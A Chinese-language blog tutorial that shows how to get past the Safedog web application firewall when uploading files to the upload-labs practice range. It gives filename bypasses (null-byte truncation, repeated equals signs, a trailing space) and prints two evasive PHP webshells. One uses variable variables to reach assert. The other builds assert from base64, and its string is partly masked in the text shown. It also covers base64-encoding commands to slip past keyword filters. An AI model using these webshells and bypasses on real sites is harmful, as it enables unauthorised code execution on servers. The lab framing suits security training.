当前位置: 首页 > news >正文

【网络安全】文件上传之安全狗bypass

作者名:Demo不是emo 

主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构

每日emo:保持心脏震荡,等有人与我共鸣

 

  sql注入的WAF你会了,文件上传的WAF你见过吗,关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下

目录

 一:环境配置

1.upload-labs的文件上传靶场

2.安全狗WAF软件 

3.检测WAF是否生效

 [1].创建一句话木马

 [2].开启靶场环境

 [3].尝试上传php文件

二:实际操作

1.基于文件名的绕过

[1].00截断

[2].多个等号

2.基于木马内容的绕过

 [1].畸形传参木马

 [2].经典编码木马

 三:拓展内容


 一:环境配置

1.upload-labs的文件上传靶场

这里也是直接给大家准备好了,链接如下,放在根目录下,到浏览器打开就能用了

upload-labs文件上传靶场-网络安全文档类资源-CSDN文库

2.安全狗WAF软件 

  这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)

链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg 
提取码:emlg
 

下载之后跟着提示安全即可

注意:1.安装成功之后记得开启安全狗的网站保护和文件上传防护

           2.记得关闭安全狗的cc攻击防护,因为待会实战过程中尝试多次,可能被封ip 

           3.将文件上传的php后缀设置到黑名单,即防护上传的php文件

3.检测WAF是否生效

 [1].创建一句话木马

 [2].开启靶场环境

这里演示的环境是upload-labs靶场的第六关,这关没有WAF时的上传方法是抓包在文件名后面添加一个空格即可绕过。如下

 没有配置WAF时将这里的“text.php”改为“text.php ”即可绕过限制

此时打开并选中刚才的php一句话木马

 [3].尝试上传php文件

 显示拦截页面,说明本次实验需要的环境已经搭好了

二:实际操作

这里就不做这么多原理的讲解了,因为讲起来太多了,所以这里就直接给大家介绍绕过姿势

1.基于文件名的绕过

[1].00截断

先将"text.php"换成"text.php;.jpg", 这里的.jpg是为了混淆WAF和后端的后缀识别

 再将;hex编码替换为00,造成00截断,如下

 此时放行试试数据包,效果如下:可以看到,已经绕过了WAF的检测,因为并没有弹出安全狗的拦截页面,但是后端的过滤还没有绕过,所以显示不允许该文件上传

 刚才我们说了这关靶场后端的绕过方式是加一个空格,所以我们在刚才的基础上再加一个空格,就是把"text.php.jpg"变成”text.php .jpg

此时再放行数据包,效果如下,成功上传

 这里我们来尝试访问一下上传之后的php文件,又被拦截了

这又是为什么呢?这就是待会我要给大家讲的基于内容的拦截,不急,先给大家把绕过WAF上传限制的姿势讲了来

[2].多个等号

这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下

2.基于木马内容的绕过

 因为上面我们用的一句话木马是市面上最常见的一句话木马,基本上所有的WAF识别到这段内容都会将其拦截,这也是我们为什么上传了但是访问不了的原因,可以开启安全狗的木马扫描试试,如下

  可以看到木马很快就被扫描出来了,还标记了一个常见木马,这可不行啊,得想办法啊,所以我们要做免杀一句话木马,让他扫描不出来,这里给大家准备了两个能够过安全狗的木马

 [1].畸形传参木马

<?php
    $a = $_GET['x'];
    $$a = $_GET['y'];
    $b($_POST['z']);

?>

 使用方式如下

get方式传如参数xy,值分别为bassert ,再用POST方式传如参数z,值为自己想执行的命令

 可以看到能成功执行,达到木马的效果

 [2].经典编码木马

通过assert函数的base64编码后的拼接即可绕过,如下: 

代码如下

<?php

$e=base64_decode("YXNz马赛克ZXJ0安全狗");

$e($_POST['aa']);

?>

 此时浏览器访问该文件,POST方式传入参数aa,值为想要执行的命令即可,如下

 成功执行,直接拿下

 三:拓展内容

上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?

我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下

在木马中添加解码操作 

就是把关键字拿去加密

 传入加密过后的关键字

 同样可以生效,成功绕过了关键字检测

 

希望大家看完后能有收获,感谢大家的阅读。

相关文章:

  • MATLAB | 世界杯来用MATLAB画个足球玩叭~
  • LeetCode | 循环队列的爱情【恋爱法则——环游世界】
  • Android App开发音量调节中实现拖动条和滑动条和音频管理器AudioManager讲解及实战(超详细 附源码和演示视频)
  • 电视剧里的代码真能运行吗?
  • 让我们进入面向对象的世界(三)
  • 动态域名解析
  • 《工程伦理》1-13章汇总
  • Jackson @JsonProperty重复字段处理
  • 元组啊,不就是不可变的列表吗?
  • Java练习题
  • 蓝桥杯跑步锻炼.c语言
  • java计算机毕业设计妇女健康保健系统源码+mysql数据库+系统+lw文档+部署
  • 第十四届蓝桥杯(web应用开发) 模拟赛2期 -大学组
  • 用Python代码画世界杯吉祥物拉伊卜(附代码)
  • 大规模异构图召回在美团到店推荐广告的应用
  • 10个确保微服务与容器安全的最佳实践
  • Angular数据绑定机制
  • canvas绘制圆角头像
  • CentOS 7 防火墙操作
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • HomeBrew常规使用教程
  • Linux下的乱码问题
  • Python_OOP
  • Redis在Web项目中的应用与实践
  • Spark RDD学习: aggregate函数
  • 大快搜索数据爬虫技术实例安装教学篇
  • 大型网站性能监测、分析与优化常见问题QA
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 猫头鹰的深夜翻译:Java 2D Graphics, 简单的仿射变换
  • 前端js -- this指向总结。
  • 微信开源mars源码分析1—上层samples分析
  • 微信小程序--------语音识别(前端自己也能玩)
  • 我建了一个叫Hello World的项目
  • 消息队列系列二(IOT中消息队列的应用)
  • 用Canvas画一棵二叉树
  • 用Visual Studio开发以太坊智能合约
  • 【运维趟坑回忆录 开篇】初入初创, 一脸懵
  • Java总结 - String - 这篇请使劲喷我
  • MyCAT水平分库
  • ​Linux·i2c驱动架构​
  • ​力扣解法汇总946-验证栈序列
  • (8)STL算法之替换
  • (BFS)hdoj2377-Bus Pass
  • (八)c52学习之旅-中断实验
  • (附源码)springboot助农电商系统 毕业设计 081919
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (三)c52学习之旅-点亮LED灯
  • (十一)JAVA springboot ssm b2b2c多用户商城系统源码:服务网关Zuul高级篇
  • (一)【Jmeter】JDK及Jmeter的安装部署及简单配置
  • (原)本想说脏话,奈何已放下
  • (转)Sublime Text3配置Lua运行环境
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • ***汇编语言 实验16 编写包含多个功能子程序的中断例程
  • .bat批处理出现中文乱码的情况
  • .NET 4 并行(多核)“.NET研究”编程系列之二 从Task开始